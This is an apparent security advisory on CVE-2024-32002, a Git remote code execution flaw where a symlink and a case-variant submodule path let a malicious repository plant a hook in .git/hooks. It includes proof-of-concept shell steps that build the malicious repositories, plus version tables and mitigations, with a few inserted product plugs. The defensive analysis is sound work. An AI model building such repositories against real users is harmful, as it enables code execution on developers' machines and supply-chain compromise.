Vulnerability Overview: CVE-2024-32002
CVE-2024-32002 represents a critical remote code execution (RCE) vulnerability in the Git source control system, specifically leveraging the handling of submodules on case-insensitive filesystems. This flaw allows a malicious repository to execute arbitrary commands on a user's local machine when that repository is cloned recursively. The vulnerability arises from a logic error in how Git validates symbolic links and submodule paths, allowing an attacker to overwrite files within the .git/ directory, which is normally protected. By manipulating directory casing and symlinks, an attacker can place a malicious script into the .git/hooks/ directory, which Git then executes during the cloning process.
The Role of Case-Insensitivity and Symbolic Links
The primary prerequisite for CVE-2024-32002 is a filesystem that does not distinguish between uppercase and lowercase directory names, such as NTFS on Windows or APFS on macOS. In these environments, a directory named A and a directory named a point to the same physical location. Git’s internal logic, however, has historically performed path checks that could be bypassed by exploiting this discrepancy. When combined with symbolic links—files that point to other directories—Git can be tricked into writing submodule metadata into unintended locations. Specifically, if a repository contains a symbolic link that points to the .git directory, and a submodule is defined with a path that overlaps with that symlink via a case variation, Git may follow the link and write the submodule's configuration and hooks into the parent repository's internal administrative folder.
Technical Root Cause Analysis
The core of the issue resides in the builtin/submodule--helper.c and the logic surrounding submodule initialization. During a git clone --recursive operation, Git performs several steps: it clones the main repository, identifies defined submodules in the .gitmodules file, and then clones those submodules into the .git/modules/ directory of the parent repository. To prevent security breaches, Git includes checks to ensure that submodule paths do not attempt to escape the working tree or overwrite sensitive internal files.
However, the vulnerability exploits the fact that the check for whether a directory exists is performed before the symbolic link is fully evaluated in the context of the filesystem's case-insensitivity. An attacker can craft a repository where a symbolic link named A points to .git. Subsequently, the attacker defines a submodule with a path starting with a/. On a case-sensitive system (like standard Linux EXT4), A and a are distinct, and the submodule would simply be placed in a directory named a. On a case-insensitive system, Git sees that the path a/ corresponds to the symbolic link A. Because the initial validation logic might not account for the symlink's destination when checking the "case-folded" path, Git follows the symlink and writes the submodule's internal hooks directory directly into .git/hooks.
Path Validation Bypass
The vulnerability bypasses the is_ntfs_dotgit() and related path-checking functions. These functions are designed to prevent users from creating files like .GIT/config or git~1/config that could overwrite the actual .git/config. In the case of CVE-2024-32002, the attacker is not directly naming a file .git, but rather using a symlink as a proxy. The vulnerability is effectively a "Time-of-Check to Time-of-Use" (TOCTOU) variation combined with a path traversal via symlink dereferencing. Organizations should utilize Secably to audit their repositories and CI/CD pipelines for non-standard symbolic link configurations that could indicate an attempted exploit or a vulnerable dependency structure.
Exploitation Strategy
Exploiting CVE-2024-32002 requires the creation of two repositories: a "malicious submodule" repository and a "main" repository that includes the submodule. The goal is to get a victim to execute git clone --recursive on the main repository. Use of GProxy can be beneficial for researchers testing these vectors across different geographic network exit points to ensure that CDN-cached versions of malicious repositories are behaving as expected during the replication process.
Proof of Concept Steps
To demonstrate the RCE, the following steps are typically taken in a controlled environment running a vulnerable version of Git on macOS or Windows:
- Create the Malicious Submodule: A repository is created containing a script that the attacker wishes to execute. This script is named
post-checkout, which is a standard Git hook executed after a successful clone or checkout. - Prepare the Main Repository:
- Create a symlink:
ln -s .git A. - Add the malicious submodule using a path that utilizes the case-insensitive equivalent of the symlink:
git submodule add [URL] a/modules/victim.
- Create a symlink:
- Commit and Push: The attacker commits the symlink and the submodule configuration. The
.gitmodulesfile will show the path asa/modules/victim. - Execution: When the victim runs
git clone --recursive [Main-Repo-URL], Git creates the symlinkApointing to.git. It then initializes the submodule. Because the filesystem is case-insensitive, the patha/modules/victimleads Git to follow the symlinkA, resulting in the path.git/modules/victim.
# Example Malicious Submodule Setup
git init malicious-sub
cd malicious-sub
echo "#!/bin/sh" > post-checkout
echo "open -a Calculator" >> post-checkout
chmod +x post-checkout
git add post-checkout
git commit -m "Add payload"
git bundle create hook.bundle HEAD
cd ..
# Example Main Repository Setup
git init main-repo
cd main-repo
ln -s .git A
git add A
git commit -m "Add symlink"
git submodule add ./malicious-sub a/modules/hook
git commit -m "Add submodule with overlapping path"
When the clone command reaches the stage of checking out the submodule, the file content of the submodule (the malicious post-checkout script) is written into the location pointed to by the symlink. In this scenario, the submodule's own internal files end up populating the .git/hooks directory of the parent repository. Once the clone completes, Git automatically triggers the post-checkout hook, executing the attacker's code.
Impact and Risk Assessment
The impact of CVE-2024-32002 is categorized as Critical, with a CVSS score of 9.0. It allows for full system compromise under the context of the user running the Git command. This is particularly dangerous for developers who frequently clone third-party libraries or for automated build systems that process external pull requests. In supply chain attacks, an attacker could compromise a popular repository and add a malicious recursive submodule, leading to the widespread execution of malware across developer workstations and build servers.
Attackers often perform reconnaissance using tools like Zondex to identify exposed internal Git servers or misconfigured repository mirrors that might be susceptible to such injections. Identifying the footprint of vulnerable Git versions across an enterprise's internet-facing assets is a critical step in defensive posturing.
Affected Git Versions
The following table outlines the status of Git versions relative to CVE-2024-32002. Users should immediately verify their installed version using git --version.
| Version Branch | Vulnerable Versions | Patched Version |
|---|---|---|
| Git v2.45 | 2.45.0 | 2.45.1 |
| Git v2.44 | < 2.44.1 | 2.44.1 |
| Git v2.43 | < 2.43.4 | 2.43.4 |
| Git v2.42 | < 2.42.2 | 2.42.2 |
| Git v2.41 | < 2.41.1 | 2.41.1 |
| Git v2.40 | < 2.40.2 | 2.40.2 |
| Git v2.39 | < 2.39.4 | 2.39.4 |
Remediation and Mitigation Strategies
The primary remediation for CVE-2024-32002 is to update Git to the latest patched version available for the specific operating system. The patches introduce more stringent checks during the submodule cloning process, specifically ensuring that no part of the submodule path is a symbolic link that could lead to directory traversal or administrative file overwrites. These checks are applied even on case-insensitive filesystems by normalizing paths before validation.
Git Config and Global Mitigations
In environments where immediate patching is not possible, several mitigations can be implemented to reduce the risk. The most effective temporary measure is to disable symbolic link support globally within Git, although this may break functionality for repositories that legitimately rely on symlinks. This can be done with the following command:
git config --global core.symlinks falseFurthermore, developers should avoid using the --recursive or --recurse-submodules flags when cloning repositories from untrusted or unverified sources. Instead, the main repository should be cloned first, and submodules should be inspected manually in the .gitmodules file and the directory structure before running git submodule update --init.
Another defensive layer involves Git's fsck (file system check) capabilities. Newer versions of Git include improved transfer.fsckObjects settings that can detect malicious symbolic link patterns during the fetch or clone process. Enabling these checks can prevent the local database from ever receiving the malicious objects:
git config --global transfer.fsckObjects trueThis configuration forces Git to verify that all incoming objects are valid and do not violate security constraints, including the path-based constraints exploited by CVE-2024-32002. While this adds a minor performance overhead to network operations, it provides a necessary safeguard against repository-based RCE vectors.